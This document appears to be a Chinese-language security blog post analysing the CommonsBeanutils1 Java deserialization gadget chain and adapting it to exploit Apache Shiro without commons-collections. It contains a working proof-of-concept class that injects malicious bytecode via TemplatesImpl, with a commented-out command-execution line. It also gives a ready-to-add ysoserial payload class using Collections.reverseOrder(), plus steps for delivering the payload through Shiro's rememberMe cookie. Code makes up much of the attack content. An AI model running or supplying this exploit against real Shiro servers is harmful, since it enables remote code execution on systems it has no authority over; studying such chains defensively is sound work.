ysoserial-CommonsBeanutils1的shiro無依賴鏈改造

ysoserial-CommonsBeanutils1的shiro無依賴鏈改造

一、CB1利用鏈分析

此條利用鏈需要配合Commons-Beanutils組件來進行利用,在shiro中是自帶此組件的。

先上大佬寫的簡化版利用鏈,和ysoserial中的程式碼有點不同,但原理是一樣的

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils {
    // 修改值的方法,簡化程式碼
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    public static void main(String[] args) throws Exception {
        // 創建惡意類,用於報錯拋出調用鏈
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
//        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 創建序列化對象
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
        in.readObject();

    }
}

在分析每一條利用鏈的方法時候,我都會從以下幾個點來進行分析:

1、首先要找到反序列化入口(source)
2、調用鏈(gadget)
3、觸發漏洞的目標方法(sink)

而此條利用鏈,這三點分別為:

1)入口:

PriorityQueue#readObject

2)調用鏈:

PriorityQueue#readObject -》 BeanComparator#compare -》 TemplatesImpl#getOutputProperties

3)觸發漏洞的目標方法:

TemplatesImpl#getOutputProperties

PriorityQueue

PriorityQueue#readObject作為CC2的入口點,在CB1鏈中同樣是以此為入口,其readObject中有個heapify方法

image-20211122162539612

跟進heapify,在713行會去調用siftDown方法,前提是滿足for循環中的size值大於等於2

image-20211122165541559

siftDown方法中,通過一個if判斷後,會調用到兩個方法,而在siftDownUsingComparator中才是執行調用鏈的操作

image-20211122170455994

跟進siftDownUsingComparator方法,可以看到在699行調用了comparator#compare,整個PriorityQueue類的漏洞調用鏈就是到這裡了

image-20211122171846206

BeanComparator

BeanComparator是一個bean比較器,用來比較兩個JavaBean是否相等,其實現了java.util.Comparator介面,有一個Comparator方法

image-20211122202414340

可以看到,在Comparator方法中先判斷property值是否為空,之後調用了PropertyUtils.getProperty方法。而PropertyUtils.getProperty這個方法會去調用傳入的javaBean中this.property值的getter方法,這個點是調用鏈的關鍵!

TemplatesImpl

漏洞的觸發點就是利用了TemplatesImpl#getOutputProperties()方法的載入位元組碼,來調用到惡意類的構造方法、靜態方法。整個調用鏈就不分析了,這裡寫下調用鏈:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

二、Shiro無依賴利用鏈改造

在ysoserial中的CB1鏈,其實是依賴commons.collections包的,也就是CC鏈中的包,因為其BeanComparator類的構造方法中,會調用到ComparableComparator.getInstance()ComparableComparator類就是在commons.collections包中。

image-20211122230455635

shiro中自帶了Commons-Beanutils組件,並沒有自帶commons.collections包。所以我們嘗試修改CB1鏈來使其脫離commons.collections包的限制。

需要滿足三個條件:

  • 實現java.util.Comparator介面
  • 實現java.io.Serializable介面
  • Java、shiro或commons-beanutils自帶,且兼容性強

在這裡師傅們找到了兩個類

CaseInsensitiveComparator和java.util.Collections$ReverseComparator

CaseInsensitiveComparator類為例,CaseInsensitiveComparator對象是通過String.CASE_INSENSITIVE_ORDER拿到的

image-20211122231448742

只需要把String.CASE_INSENSITIVE_ORDER放入BeanComparator類的構造函數中即可使if為真,從而不調用到CC組件中的類

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

image-20211122231725222

這裡使用P神已經寫好的POC來進行測試,項目地址在//github.com/phith0n/JavaThings

打開shiroattack項目

image-20211122232343321

運行以上的Client1後,會生成cookie中對應的rememberMe值

image-20211122231949927

shiro環境同樣使用P神的環境//github.com/phith0n/JavaThings,注釋掉環境shiro環境中的commons-collections組件

image-20211122232110795

訪問/login.jsp介面勾選rememberMe登錄,使用burp抓包,在cookie裡面添加rememberMe=payload;

image-20211122232655742

另一個類java.util.Collections$ReverseComparator,也是通過其靜態方法拿到

image-20211123100636039

同樣只需要把Collections.reverseOrder()放入BeanComparator類的構造函數中即可

BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

三、ysoserial改造

把以下程式碼加入ysoserial的payloads模組即可

package ysoserial.payloads;

import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.Collections;
import java.util.PriorityQueue;

public class CommonsBeanutils2 implements ObjectPayload<Object>{

    public Object getObject(final String command) throws Exception {

        final Object templates = Gadgets.createTemplatesImpl(command);
        // mock method name until armed
        final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        // switch method called by comparator
        Reflections.setFieldValue(comparator, "property", "outputProperties");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        return queue;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsBeanutils2.class, args);
    }
}

image-20211123101127261

打包jar

mvn clean package -DskipTests

image-20211123122317279

參考:

//cloud.tencent.com/developer/article/1816604

//www.cnblogs.com/bitterz/p/15401105.html